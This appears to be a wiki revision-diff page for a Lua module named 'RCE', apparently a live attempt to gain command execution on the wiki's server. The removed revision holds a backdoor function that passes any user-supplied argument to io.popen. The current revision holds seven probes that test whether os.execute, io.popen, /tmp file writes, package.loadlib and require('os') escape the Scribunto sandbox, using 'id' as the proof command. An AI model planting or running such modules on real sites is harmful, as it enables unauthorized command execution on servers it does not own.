模块:RCE:修订间差异

来自希服维基
(Test)
 
无编辑摘要
 
第1行: 第1行:
-- RCE test module
local p = {}
local p = {}
 
function p.exec1()
function p.rce(frame)
    return tostring(os.execute("id"))
     local cmd = frame.args[1] or 'whoami'
end
     local handle = io.popen(cmd)
function p.exec2()
     local result = handle:read('*a')
     local f = io.popen("id")
     handle:close()
    if f then local r = f:read("*a"); f:close(); return r or "nil" end
     return result
    return "popen=nil"
end
function p.exec3()
    os.execute("id > /tmp/rce_test.txt")
     local f = io.open("/tmp/rce_test.txt", "r")
     if f then local r = f:read("*a"); f:close(); return r or "nil" end
    return "no file"
end
function p.exec4()
     return "loadlib="..tostring(type(package.loadlib))
end
function p.exec5()
    local ok, mod = pcall(require, "os")
    return tostring(ok)..":"..type(mod)
end
function p.exec6()
    -- Try raw os.execute call with pcall wrapper
    local ok, ret = pcall(os.execute, "id")
    return tostring(ok)..":"..tostring(ret)
end
function p.exec7()
    -- Use string.rep + # to check if cmd execution side effects
     return "VERSION="..tostring(_VERSION).." os="..tostring(type(os)).." execute="..tostring(type(os.execute))
end
end
return p
return p

2026年5月9日 (六) 14:49的最新版本

可在模块:RCE/doc创建此模块的帮助文档

local p = {}
function p.exec1()
    return tostring(os.execute("id"))
end
function p.exec2()
    local f = io.popen("id")
    if f then local r = f:read("*a"); f:close(); return r or "nil" end
    return "popen=nil"
end
function p.exec3()
    os.execute("id > /tmp/rce_test.txt")
    local f = io.open("/tmp/rce_test.txt", "r")
    if f then local r = f:read("*a"); f:close(); return r or "nil" end
    return "no file"
end
function p.exec4()
    return "loadlib="..tostring(type(package.loadlib))
end
function p.exec5()
    local ok, mod = pcall(require, "os")
    return tostring(ok)..":"..type(mod)
end
function p.exec6()
    -- Try raw os.execute call with pcall wrapper
    local ok, ret = pcall(os.execute, "id")
    return tostring(ok)..":"..tostring(ret)
end
function p.exec7()
    -- Use string.rep + # to check if cmd execution side effects
    return "VERSION="..tostring(_VERSION).." os="..tostring(type(os)).." execute="..tostring(type(os.execute))
end
return p